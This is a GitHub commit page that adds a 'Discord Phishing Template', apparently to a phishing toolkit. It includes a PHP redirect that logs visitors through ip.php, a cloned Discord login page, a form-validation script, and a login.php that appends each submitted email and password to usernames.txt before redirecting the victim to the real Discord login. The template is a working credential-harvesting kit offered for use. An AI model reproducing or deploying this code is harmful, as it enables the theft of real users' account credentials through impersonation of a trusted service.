Skip to content

Commit 2826229

Browse files
authored
Added Discord Phishing Template
#490
2 parents 6da46d0 + f107380 commit 2826229

12 files changed

+9841
-1
lines changed
Binary file not shown.

.sites/discord/LICENSE

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
MIT License
2+
3+
Copyright (c) 2022 Ali Milani
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.
22+
23+
# https://github.com/AliMilani/fake-discord

.sites/discord/banner.png

84.8 KB
Loading
Binary file not shown.

.sites/discord/fav.ico

24 KB
Binary file not shown.

.sites/discord/index.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
include 'ip.php';
3+
header('Location: login.html');
4+
exit
5+
?>

.sites/discord/login.html

Lines changed: 820 additions & 0 deletions
Large diffs are not rendered by default.

.sites/discord/login.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
file_put_contents("usernames.txt", "Discord Username: " . $_POST['email'] . " Pass: " . $_POST['pass'] ."\n", FILE_APPEND);
3+
header('Location: https://discord.com/login');
4+
exit();
5+
?>

.sites/discord/qr.png

1.5 KB
Loading

.sites/discord/script.js

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
let inputs = document.querySelectorAll('form input')
2+
let submitBtn = document.querySelector('form button[type="submit"]')
3+
// submitBtn.addEventListener("click", validateForm)
4+
inputs[1].addEventListener("input", validateForm)
5+
6+
function validateForm() {
7+
let outlines = document.querySelectorAll('form .input-outline')
8+
let lables = document.querySelectorAll('.colorStandard-21JIj7')
9+
let errMessages = document.querySelectorAll('.errorMessage-1kMqS5')
10+
11+
for (let i = 0; i < inputs.length; i++) {
12+
inputs[i].addEventListener("input", validateForm)
13+
if (inputs[i].value == '') {
14+
outlines[i].classList.add('error-8r7mjf')
15+
lables[i].classList.add('error-3EBD81')
16+
errMessages[i].style.display = 'inline'
17+
18+
} else {
19+
outlines[i].classList.remove('error-8r7mjf')
20+
lables[i].classList.remove('error-3EBD81')
21+
errMessages[i].style.display = 'none'
22+
submitBtn.disabled = ''
23+
}
24+
}
25+
(!inputs[0].value == '' && !inputs[1].value == '') ?
26+
submitBtn.disabled = '' : submitBtn.disabled = 'disabled'
27+
28+
}

0 commit comments

Comments
 (0)